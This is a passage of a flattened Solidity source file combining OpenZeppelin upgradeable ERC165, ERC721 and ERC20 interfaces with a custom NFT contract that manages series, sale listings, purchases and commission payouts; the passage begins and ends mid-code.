* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/interfaces/ISafeHook.sol
pragma solidity ^0.8.0;
interface ISafeHook is IERC165Upgradeable {
function executeHook(address from, address to, uint256 tokenId) external returns(bool success);
}
// File: contracts/interfaces/ICostManager.sol
pragma solidity ^0.8.0;
interface ICostManager is IERC165Upgradeable {
function accountForOperation(address sender, uint256 info, uint256 param1, uint256 param2) external returns(uint256 spent, uint256 remaining);
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/ERC721UpgradeableExt.sol
pragma solidity ^0.8.0;
abstract contract ERC721UpgradeableExt is
ERC165Upgradeable,
IERC721MetadataUpgradeable,
IERC721EnumerableUpgradeable,
OwnableUpgradeable,
ReentrancyGuardUpgradeable
{
using AddressUpgradeable for address;
using StringsW0x for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Contract URI
string internal _contractURI;
// Address of factory that produced this instance
address public factory;
// Utility token, if any, to manage during operations
address public costManager;
address public trustedForwarder;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
// Constants for shifts
uint8 internal constant SERIES_SHIFT_BITS = 192; // 256 - 64
uint8 internal constant OPERATION_SHIFT_BITS = 240; // 256 - 16
// Constants representing operations
uint8 internal constant OPERATION_INITIALIZE = 0x0;
uint8 internal constant OPERATION_SETMETADATA = 0x1;
uint8 internal constant OPERATION_SETSERIESINFO = 0x2;
uint8 internal constant OPERATION_SETOWNERCOMMISSION = 0x3;
uint8 internal constant OPERATION_SETCOMMISSION = 0x4;
uint8 internal constant OPERATION_REMOVECOMMISSION = 0x5;
uint8 internal constant OPERATION_LISTFORSALE = 0x6;
uint8 internal constant OPERATION_REMOVEFROMSALE = 0x7;
uint8 internal constant OPERATION_MINTANDDISTRIBUTE = 0x8;
uint8 internal constant OPERATION_BURN = 0x9;
uint8 internal constant OPERATION_BUY = 0xA;
uint8 internal constant OPERATION_TRANSFER = 0xB;
address internal constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 internal constant FRACTION = 100000;
string public baseURI;
string public suffix;
mapping (uint256 => SaleInfoToken) public salesInfoToken; // tokenId => SaleInfoToken
mapping (uint256 => SeriesInfo) public seriesInfo; // seriesId => SeriesInfo
CommissionInfo public commissionInfo; // Global commission data
mapping(uint256 => uint256) public mintedCountBySeries;
struct SaleInfoToken {
SaleInfo saleInfo;
uint256 ownerCommissionValue;
uint256 authorCommissionValue;
}
struct SaleInfo {
uint64 onSaleUntil;
address currency;
uint256 price;
}
struct SeriesInfo {
address payable author;
uint32 limit;
SaleInfo saleInfo;
CommissionData commission;
string baseURI;
string suffix;
}
struct CommissionInfo {
uint64 maxValue;
uint64 minValue;
CommissionData ownerCommission;
}
struct CommissionData {
uint64 value;
address recipient;
}
event SeriesPutOnSale(
uint64 indexed seriesId,
uint256 price,
address currency,
uint64 onSaleUntil
);
event SeriesRemovedFromSale(
uint64 indexed seriesId
);
event TokenRemovedFromSale(
uint256 indexed tokenId,
address account
);
event TokenPutOnSale(
uint256 indexed tokenId,
address indexed seller,
uint256 price,
address currency,
uint64 onSaleUntil
);
event TokenBought(
uint256 indexed tokenId,
address indexed seller,
address indexed buyer,
address currency,
uint256 price
);
/********************************************************************
****** external section *********************************************
*********************************************************************/
/**
* @dev sets the default baseURI for the whole contract
* @param baseURI_ the prefix to prepend to URIs
*/
function setBaseURI(
string calldata baseURI_
)
onlyOwner
external
{
baseURI = baseURI_;
_accountForOperation(
OPERATION_SETMETADATA << OPERATION_SHIFT_BITS,
0x100,
0
);
}
/**
* @dev sets the default URI suffix for the whole contract
* @param suffix_ the suffix to append to URIs
*/
function setSuffix(
string calldata suffix_
)
onlyOwner
external
{
suffix = suffix_;
_accountForOperation(
OPERATION_SETMETADATA << OPERATION_SHIFT_BITS,
0x010,
0
);
}
/**
* @dev sets contract URI.
* @param newContractURI new contract URI
*/
function setContractURI(string memory newContractURI) external onlyOwner {
_contractURI = newContractURI;
_accountForOperation(
OPERATION_SETMETADATA << OPERATION_SHIFT_BITS,
0x001,
0
);
}
/**
* @dev sets information for series with 'seriesId'.
* @param seriesId series ID
* @param info new info to set
*/
function setSeriesInfo(
uint64 seriesId,
SeriesInfo memory info
)
external
{
_requireCanManageSeries(seriesId);
if (info.saleInfo.onSaleUntil > seriesInfo[seriesId].saleInfo.onSaleUntil &&
info.saleInfo.onSaleUntil > block.timestamp
) {
emit SeriesPutOnSale(
seriesId,
info.saleInfo.price,
info.saleInfo.currency,
info.saleInfo.onSaleUntil
);
} else if (info.saleInfo.onSaleUntil <= block.timestamp ) {
emit SeriesRemovedFromSale(seriesId);
}
seriesInfo[seriesId] = info;
_accountForOperation(
(OPERATION_SETSERIESINFO << OPERATION_SHIFT_BITS) | seriesId,
uint256(uint160(info.saleInfo.currency)),
info.saleInfo.price
);
}
/**
* set commission paid to contract owner
* @param commission new commission info
*/
function setOwnerCommission(
CommissionInfo memory commission
)
external
onlyOwner
{
commissionInfo = commission;
_accountForOperation(
OPERATION_SETOWNERCOMMISSION << OPERATION_SHIFT_BITS,
uint256(uint160(commission.ownerCommission.recipient)),
commission.ownerCommission.value
);
}
/**
* set commission for series
* @param commissionData new commission data
*/
function setCommission(
uint64 seriesId,
CommissionData memory commissionData
)
external
{
_requireCanManageSeries(seriesId);
require(
(
commissionData.value <= commissionInfo.maxValue &&
commissionData.value >= commissionInfo.minValue &&
commissionData.value + commissionInfo.ownerCommission.value < FRACTION
),
"COMMISSION_INVALID"
);
require(commissionData.recipient != address(0), "RECIPIENT_INVALID");
seriesInfo[seriesId].commission = commissionData;
_accountForOperation(
(OPERATION_SETCOMMISSION << OPERATION_SHIFT_BITS) | seriesId,
commissionData.value,
uint256(uint160(commissionData.recipient))
);
}
/**
* clear commission for series
* @param seriesId seriesId
*/
function removeCommission(
uint64 seriesId
)
external
{
_requireCanManageSeries(seriesId);
delete seriesInfo[seriesId].commission;
_accountForOperation(
(OPERATION_REMOVECOMMISSION << OPERATION_SHIFT_BITS) | seriesId,
0,
0
);
}
/**
* @dev lists on sale NFT with defined token ID with specified terms of sale
* @param tokenId token ID
* @param price price for sale
* @param currency currency of sale
* @param duration duration of sale
*/
function listForSale(
uint256 tokenId,
uint256 price,
address currency,
uint64 duration
)
external
{
(bool success, /*bool isExists*/, /*SaleInfo memory data*/, /*address owner*/) = getTokenSaleInfo(tokenId);
_requireCanManageToken(tokenId);
require(!success, "already on sale");
require(duration > 0, "invalid duration");
uint64 seriesId = getSeriesId(tokenId);
SaleInfo memory newSaleInfo = SaleInfo({
onSaleUntil: uint64(block.timestamp) + duration,
currency: currency,
price: price
});
SaleInfoToken memory saleInfoToken = SaleInfoToken({
saleInfo: newSaleInfo,
ownerCommissionValue: commissionInfo.ownerCommission.value,
authorCommissionValue: seriesInfo[seriesId].commission.value
});
_setSaleInfo(tokenId, saleInfoToken);
emit TokenPutOnSale(
tokenId,
_msgSender(),
newSaleInfo.price,
newSaleInfo.currency,
newSaleInfo.onSaleUntil
);
_accountForOperation(
(OPERATION_LISTFORSALE << OPERATION_SHIFT_BITS) | seriesId,
uint256(uint160(currency)),
price
);
}
/**
* @dev removes from sale NFT with defined token ID
* @param tokenId token ID
*/
function removeFromSale(
uint256 tokenId
)
external
{
(bool success, /*bool isExists*/, SaleInfo memory data, /*address owner*/) = getTokenSaleInfo(tokenId);
require(success, "token not on sale");
_requireCanManageToken(tokenId);
clearOnSaleUntil(tokenId);
emit TokenRemovedFromSale(tokenId, _msgSender());
uint64 seriesId = getSeriesId(tokenId);
_accountForOperation(
(OPERATION_REMOVEFROMSALE << OPERATION_SHIFT_BITS) | seriesId,
uint256(uint160(data.currency)),
data.price
);
}
/**
* @dev returns the list of all NFTs owned by 'account' with limit
* @param account address of account
*/
function tokensByOwner(
address account,
uint32 limit
)
external
view
returns (uint256[] memory ret)
{
return _tokensByOwner(account, limit);
}
/**
* @dev mints and distributes NFTs with specified IDs
* to specified addresses
* @param tokenIds list of NFT IDs t obe minted
* @param addresses list of receiver addresses
*/
function mintAndDistribute(
uint256[] memory tokenIds,
address[] memory addresses
)
external
{
uint256 len = addresses.length;
require(tokenIds.length == len, "lengths should be the same");
for(uint256 i = 0; i < len; i++) {
_requireCanManageSeries(getSeriesId(tokenIds[i]));
_mint(addresses[i], tokenIds[i]);
}
_accountForOperation(
OPERATION_MINTANDDISTRIBUTE << OPERATION_SHIFT_BITS,
len,
0
);
}
/**
* @dev sets the utility token
* @param costManager_ new address of utility token, or 0
*/
function overrideCostManager(address costManager_) external {
// require factory owner or operator
// otherwise needed deployer(!!not contract owner) in cases if was deployed manually
require (
(factory.isContract())
?
IFactory(factory).canOverrideCostManager(_msgSender(), address(this))
:
factory == _msgSender()
,
"cannot override"
);
costManager = costManager_;
}
/********************************************************************
****** public section ***********************************************
*********************************************************************/
/**
* @dev tells the caller whether they can set info for a series,
* manage amount of commissions for the series,
* mint and distribute tokens from it, etc.
* @param seriesId the id of the series being asked about
*/
function canManageSeries(uint64 seriesId) public view returns (bool) {
return owner() == _msgSender() || seriesInfo[seriesId].author == _msgSender();
}
/**
* @dev tells the caller whether they can transfer an existing token,
* list it for sale and remove it from sale.
* Tokens can be managed by their owner
* or approved accounts via {approve} or {setApprovalForAll}.
* @param tokenId the id of the tokens being asked about
*/
function canManageToken(uint256 tokenId) public view returns (bool) {
return _canManageToken(tokenId);
}
/**
* @dev Returns whether `tokenId` exists.
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function tokenExists(uint256 tokenId) public view virtual returns (bool) {
return _exists(tokenId);
}
/**
* @dev buys NFT for native coin with defined id.
* mint token if it doesn't exist and transfer token
* if it exists and is on sale
* @param tokenId token ID to buy
* @param price amount of specified native coin to pay
* @param safe use safeMint and safeTransfer or not
*/
function buy(uint256 tokenId, uint256 price, bool safe) public payable nonReentrant {
(bool success, bool exists, SaleInfo memory data, address beneficiary) = getTokenSaleInfo(tokenId);
require(success, "token is not on sale");
require(msg.value >= data.price && price >= data.price, "insufficient amount sent");
require(address(0) == data.currency, "wrong currency for sale");
bool transferSuccess;
uint256 left = data.price;
(address[2] memory addresses, uint256[2] memory values, uint256 length) = calculateCommission(tokenId, data.price);
// commissions payment
for(uint256 i = 0; i < length; i++) {
(transferSuccess, ) = addresses[i].call{gas: 3000, value: values[i]}(new bytes(0));
require(transferSuccess, "TRANSFER_COMMISSION_FAILED");
left -= values[i];
}
(transferSuccess, ) = beneficiary.call{gas: 3000, value: left}(new bytes(0));
require(transferSuccess, "TRANSFER_TO_OWNER_FAILED");
uint256 refund = msg.value - data.price;
if (refund > 0) {
(transferSuccess, ) = msg.sender.call{gas: 3000, value: refund}(new bytes(0));
require(transferSuccess, "REFUND_FAILED");
}
_buy(tokenId, exists, data, beneficiary, safe);
uint64 seriesId = getSeriesId(tokenId);
_accountForOperation(
(OPERATION_BUY << OPERATION_SHIFT_BITS) | seriesId,
0,
price
);
}
/**
* @dev buys NFT for specified currency with defined id.
* mint token if it doesn't exist and transfer token
* if it exists and is on sale
* @param tokenId token ID to buy
* @param currency address of token to pay with
* @param price amount of specified token to pay
* @param safe use safeMint and safeTransfer or not
*/
function buy(uint256 tokenId, address currency, uint256 price, bool safe) public nonReentrant {
(bool success, bool exists, SaleInfo memory data, address owner) = getTokenSaleInfo(tokenId);
require(success, "token is not on sale");
require(currency == data.currency, "wrong currency for sale");
uint256 allowance = IERC20Upgradeable(data.currency).allowance(_msgSender(), address(this));
require(allowance >= data.price && price >= data.price, "insufficient amount");
uint256 left = data.price;
(address[2] memory addresses, uint256[2] memory values, uint256 length) = calculateCommission(tokenId, data.price);
// commissions payment
for(uint256 i = 0; i < length; i++) {
IERC20Upgradeable(data.currency).transferFrom(_msgSender(), addresses[i], values[i]);
left -= values[i];
}
IERC20Upgradeable(data.currency).transferFrom(_msgSender(), owner, left);
_buy(tokenId, exists, data, owner, safe);
uint64 seriesId = getSeriesId(tokenId);
_accountForOperation(
(OPERATION_BUY << OPERATION_SHIFT_BITS) | seriesId,
uint256(uint160(currency)),
price
);
}
/**
* @dev calculate commission for `tokenId`
* if param exists equal true, then token doesn't exists yet.
* otherwise we should use snapshot parameters: ownerCommission/authorCommission, that hold during listForSale.
* used to prevent increasing commissions
* @param tokenId token ID to calculate commission
* @param price amount of specified token to pay
*/
function calculateCommission(
uint256 tokenId,
uint256 price
)
internal
view
returns(
address[2] memory addresses,
uint256[2] memory values,
uint256 length
)
{
uint64 seriesId = getSeriesId(tokenId);
length = 0;
uint256 sum;
// contract owner commission
if (commissionInfo.ownerCommission.recipient != address(0)) {
uint256 oc = salesInfoToken[tokenId].ownerCommissionValue;
if (commissionInfo.ownerCommission.value < oc)
oc = commissionInfo.ownerCommission.value;
if (oc != 0) {
addresses[length] = commissionInfo.ownerCommission.recipient;
sum += oc;
values[length] = oc * price / FRACTION;
length++;
}
}
// author commission
if (seriesInfo[seriesId].commission.recipient != address(0)) {
uint256 ac = salesInfoToken[tokenId].authorCommissionValue;
if (seriesInfo[seriesId].commission.value < ac)
ac = seriesInfo[seriesId].commission.value;
if (ac != 0) {
addresses[length] = seriesInfo[seriesId].commission.recipient;
sum += ac;
values[length] = ac * price / FRACTION;
length++;
}
}
require(sum < FRACTION, "invalid commission");
}
/**
* @dev returns contract URI.
*/
function contractURI() public view returns(string memory){
return _contractURI;
}
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
interfaceId == type(IERC721EnumerableUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _ownerOf(tokenId);
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Returns the token collection name.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the token collection symbol.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev sets name and symbol for contract
* @param newName new name
* @param newSymbol new symbol
*/
function setNameAndSymbol(
string memory newName,
string memory newSymbol
)
public
onlyOwner
{
_setNameAndSymbol(newName, newSymbol);
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(
uint256 tokenId
)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenIdHexString = tokenId.toHexString();
uint64 seriesId = getSeriesId(tokenId);
string memory baseURI_ = seriesInfo[seriesId].baseURI;
string memory suffix_ = seriesInfo[seriesId].suffix;
if (bytes(baseURI_).length == 0) {
baseURI_ = baseURI;
}
if (bytes(suffix_).length == 0) {
suffix_ = suffix;
}
// If all are set, concatenate
if (bytes(_tokenIdHexString).length > 0) {
return string(abi.encodePacked(baseURI_, _tokenIdHexString, suffix_));
}
return "";
}
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
address ms = _msgSender();
require(
ms == owner || isApprovedForAll(owner, ms),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(ownerOf(tokenId) != address(0), "ERC721: approved query for nonexistent token");
